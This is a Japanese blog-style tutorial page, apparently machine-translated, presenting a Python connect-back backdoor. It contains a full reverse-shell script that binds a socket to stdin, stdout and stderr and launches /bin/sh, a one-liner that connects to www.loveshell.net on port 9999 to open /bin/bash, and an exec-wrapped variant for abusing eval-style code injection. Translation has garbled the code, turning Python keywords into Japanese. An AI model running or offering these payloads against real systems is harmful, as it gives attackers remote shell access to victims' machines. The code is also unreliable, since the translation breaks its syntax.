ホームページ >バックエンド開発 >Python チュートリアル >Python コードの活用は本当にクールです
なぜ突然これを見たいのかわかりませんが、笑
私の Python アンチシェル コード
#!/usr/bin/python
# Python Connect-back Backdoor
# 著者: wofeiwo
# バージョン: 1.0
# 日付: 2006 年 7 月 15 日
import sys
import os
importソケット
shell = "/bin/sh"
def 使用法(プログラム名):
print "Python Connect-back Backdoor"
print "作成者: wofeiwo
print "日付: 2006 年 7 月 15 日n"
print "使用法: % s
def main():
if len(sys.argv) != 3:
使用法(sys.argv[0])
sys.exit(1)
s =ソケット.socket(socket.AF_INET,ソケット.SOCK_STREAM)
試行:
s.connect((socket.gethostbyname(sys.argv[ 1] ),int(sys.argv[2])))
print "[+] 接続できました。"
ただし:
print "[-] %s:%s に接続できませんでした" % ( sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("----------------- --------- - Python コネクトバック バックドア ------------------------n")
s.send (「---------------------- ----------------by ウォフェイウォ----------------- ---------------n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
グローバルシェル
os.system(shell)
print "See U!"
s.close()
if __name__ == "__main__": main()
は脆弱性の悪用にはあまり適していませんね。短いものが必要なので、保存は
です。 sys;インポート os;インポート ソケット;s = ソケット.socket(ソケット .AF_INET, ソケット.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("ようこそマスターrn");os.dup2(s.fileno() , 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("シェルはありますか?rn");os.system("/ bin/bash");s.close();s.send("また今度!rn");
とても短いですよね?
しかし、この脆弱性が悪用される可能性があります。たとえば、許可される入力は eval であり、複数のステートメントは許可されません (後で説明します)。
exec 'import sys;import os;importソケット;s =ソケット.socket(socket.AF_INET,ソケット.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),を変更することもできます) 9999));s.send("ようこそ私のマスター\r\n");os.dup2(s .fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s .fileno(), 2);s.send("シェルはありますか?\r\n") ;os.system("/bin/bash");s.close();s.send("見てください次回!\r\n");';
注意してください\ r\nああ、'' でも rn が改行になるようなので、実際には、ここでは ; を使用しなくても、適切なコードを作成できます。
マニュアルを参照してください。
exec ステートメントは、文字列またはファイルに保存されている Python ステートメントを実行するために使用されます。たとえば、実行時に Python コードを含む文字列を生成し、exec ステートメント
を使用してこれらのステートメントを実行できます。 eval ステートメントは、文字列
はは、ここで eval を使用するのは間違いのようです。
YY、考え方は同じですが、言語の制限を突破する方法は次のとおりです。問題が...